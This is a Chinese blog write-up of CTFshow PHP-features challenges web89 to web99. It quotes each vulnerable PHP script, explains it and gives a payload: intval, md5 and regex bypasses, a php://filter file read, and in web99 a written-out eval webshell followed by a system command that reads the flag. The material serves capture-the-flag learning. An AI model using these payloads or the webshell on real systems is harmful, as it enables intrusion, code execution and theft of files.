首页 > 编程语言 >CTFshowPHP特性

CTFshowPHP特性

时间:2024-11-17 10:07:05浏览次数:1  
标签:09 GET no 特性 flag num CTFshowPHP php

CTFshowPHP特性

web89

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 15:38:51
# @email: [email protected]
# @link: https://ctfer.com

*/


include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}

代码分析

if(isset($_GET['num'])){ #检查参数是否为num,是则下一步

if(preg_match("/[0-9]/", $num)){
die("no no no!"); #正则表达式是否包含数字0~9,如果包含则结束程序

if(intval($num)){
echo $flag; #使用 intval 函数将 $num 转换为整数,如果转换后不为0则输出flag

playload

这题我们用数组绕过

?num[]=

web90

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 16:06:11
# @email: [email protected]
# @link: https://ctfer.com

*/


include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}

代码分析

if($num==="4476"){
die("no no no!"); #如果字符串=4476就结束程序

if(intval($num,0)===4476){
echo $flag; #使用 intval 函数将 $num 转换为整数,如果转换后为4476则输出flag

playload

可以用进制绕过

?num=0x117c

也可以用intval函数进行绕过

intval("4476a") 会返回 4476,而 intval("a4476") 会返回 0。
因此,即使 num 参数包含非数字字符,只要这些字符后面跟着数字 4476,intval 仍然会返回 4476

所以构造

?num=4476a

web91

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 16:16:09
# @link: https://ctfer.com

*/

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}

代码分析

$a=$_GET['cmd']; #cmd 参数的值,赋值给变量 $a

if(preg_match('/^php$/im', $a)){ #使用preg_match函数检查 $a是否完全匹配字符串 php
'^php$' #表示字符串必须从头到尾完全等于 php
im #i 表示不区分大小写,m 表示多行模式

echo 'hacker'; #完全匹配字符串 php则输出hacker

if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
#如果 $a 完全匹配 php(不区分大小写),则输出 hacker,否则输出flag

else {
echo 'nonononono';
} #如果 $a 不匹配 php,则输出 nonononono

playload

?cmd=%0aphp

web92

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 16:29:30
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}

代码分析

}else{
echo intval($num,0); #如果条件不为4476,则输出转换后的整数值

playload

用进制绕过

?num=0x117c

web93

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 16:32:58
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}

代码分析

if(preg_match("/[a-z]/i", $num)){ #使用正则表达式检查 $num 是否包含任何字母(不区分大小写)
die("no no no!");
} #如果 $num 包含字母,程序将立即终止,并输出 "no no no!"。

playload

可以用8进制数绕过

?num=010574

web94

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 16:46:19
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}

代码分析

与上题相比较,多了一个strpos函数

if(!strpos($num, "0")){
die("no no no!"); #开头如果是数字0,则输出no no no!

playload

?num=+010574

可以用+来绕过

web95

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 16:53:59
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}

同上

web96

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 19:21:24
# @link: https://ctfer.com

*/


highlight_file(__FILE__);

if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}


}

代码分析

if(isset($_GET['u'])){ #参数要为u

if($_GET['u']=='flag.php'){
die("no no no"); #如果参数u=flag.php则输出no no no

}else{
highlight_file($_GET['u']); #如果参数u不等于flag.php,则highlight_file 函数高亮显示用户指定的文件内容。(报错)

playload

?u=php://filter/convert.base64-encode/resource=flag.php

直接用伪协议读取flag.php文件

?u=./flag.php

也可以绕过

web97

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 19:36:32
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>

代码分析

if (isset($_POST['a']) and isset($_POST['b'])) {
#检查是否存在名为 a 和 b 的 POST 参数,

if ($_POST['a'] != $_POST['b']) #检查 a 和 b 的值是否不相等

if (md5($_POST['a']) === md5($_POST['b'])) #检查 a 和 b 的md5值是否相等

playload

post数组绕过

a[]=1&b[]=2

web98

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 21:39:27
# @link: https://ctfer.com

*/

include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

?>

代码分析

$_GET?$_GET=&$_POST:'flag'; # 三元运算符,$_GET为真则执行$_GET=&$_POST,假则为flag

$_GET $_GET['flag'] #数组

$_SERVER #值为$_SERVER

highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__); #如果get参数HTTP_FLAG的值为flag,就输出flag

$_GET 值为$_POST
如果$_GET 也就是$_POST['flag']=flag
$_GET = $_COOKIE
$_GET['flag'] = $_COOKIE['flag']
$_GET['flag'] = 'flag'

playload

get:?1=2 #这里似乎任何字符都可以

post:HTTP_FLAG=flag

web99

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 22:36:12
# @link: https://ctfer.com

*/

highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}

?>

代码分析

if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
} #检查参数n是否存在,如果条件满足,
则使用 file_put_contents() 函数将 $_POST['content'] 的内容写入到文件 $_GET['n'] 中。

所以可以写入一句话木马

playload

get:?n=203.php

post:content=<?php @eval($_POST[1]);?>

1=system("tac flag36d.php");

标签:09,GET,no,特性,flag,num,CTFshowPHP,php
From: https://www.cnblogs.com/WTT001/p/18550308

相关文章

  • 前端技术对html5的新特性学习
    html5新元素目录html5新元素语义化元素音频标签视频标签语义化元素<article>:代表页面或应用中的一个独立内容区域,如博客帖子、论坛帖子或用户评论。它通常包含标题(<header>)、内容(段落、图片等)和页脚(<footer>)。<aside>:表示与页面主要内容稍微独立的内容区域,如侧边栏、广告、......
  • KubeEdge 新版本5大特性解读:更完备的节点设备能力,全新的Dashboard体验
    本文分享自华为云社区《KubeEdge1.19.0版本发布!更完备的节点设备能力,全新的Dashboard体验》,作者:云容器大未来。 KubeEdge1.19.0版本现已正式发布。新版本在节点和设备方面引入了多个新特性,同时带来了全新版本的Dashboard。KubeEdgev1.19新增特性:支持边缘节点上报Eve......
  • springBoot-RabbitMQ 高级特性(保姆级教程,一步一步带你熟悉RabbitMQ 相关高级特性)
    话不多说,看项目整体架构RabbitMQ高级特性保姆级教程好了,下面县开始贴生产者代码:publisher父依赖:<parent><artifactId>spring-boot-starter-parent</artifactId><groupId>org.springframework.boot</groupId><version>2.7.18</versi......
  • Mybatis-plus之新特性,你都用过哪些?
    1.lambda方式查询在使用Mybatis-plus进行查询时,我们正常的操作是创建一个QueryWrapper,然后根据字段去做查询操作(如下图)那么就有一个问题,每个数据库的字段都需要写出来,遇到驼峰字段还需要转换为下划线形式,非常影响开发效率。而官方也考虑到这个问题,后续的版本已经提供了lambda的......
  • Spring Boot编程训练系统:核心特性与实现策略
    3系统分析3.1可行性分析通过对本编程训练系统实行的目的初步调查和分析,提出可行性方案并对其一一进行论证。我们在这里主要从技术可行性、经济可行性、操作可行性等方面进行分析。3.1.1技术可行性本编程训练系统采用SSM框架,JAVA作为开发语言,是基于WEB平台的B/S架构系统......
  • C++11新特性lambda
    文章目录前言lambda进阶用法总结前言本文介绍C++11新特性中的lamdba在C++11中支持了lambda表达式,如果你想生成一个简短、方便调用、函数内部清晰的轻量级函数,lambda是一个不错的选择。它允许我们在函数中生成函数,也可以向对待函数一样对待lambda。lambda首先看......
  • 【新品速递】一文详解 ALINX NVMe IP 特性
    -ALINXNVMe IP- 在当下数据驱动的时代,企业对高性能存储解决方案的需求不断增加。NVMeAXIIP凭借其支持大数据量、高速传输、低延迟等存储性能优势,成为众多开发者和企业的理想选择。NVMe 专为SSD而生,通过直接利用PCIe通道,避免SATA协议和外置控制器(PCH)的额外延迟,使......
  • MySQL5.7新特性--官方高可用方案MGR介绍
    MGR简介MySQLGroupReplication(下简称:MGR)是MySQL官方推出的一种基于Paxos协议的状态机复制。在MGR出现之前,用户常见的MySQL高可用方式,无论怎么变化架构,本质就是Master-Slave架构。MySQL5.7版本开始支持无损半同步复制(losslesssemi-syncreplication),从而进一步提示数据复制......
  • Node.js v22.6.0新特性:支持 TypeScript 直接运行!
    Node.jsv22.6.0版本已经发布,并且带来了一个开发者们期待已久的新特性——直接运行TypeScript(TS)文件的能力!版本更新亮点Node.jsv22.6.0版本通过--experimental-strip-types标志,实现了对TypeScript的实验性支持。这意味着开发者们现在可以在Node.js环境中直接执行......
  • ES6 的20 个新特性的详细介绍(完整版)
    ES6的20个新特性的详细介绍以及相关知识拓展:目录一.块级作用域二.箭头函数三.类(Class)四.模板字符串五.解构赋值六.默认参数七.扩展运算符八.剩余参数九.Promise十.模块化十一.Symbol十二.Iterators十三.Generators十四.Map数据结构十五.Set......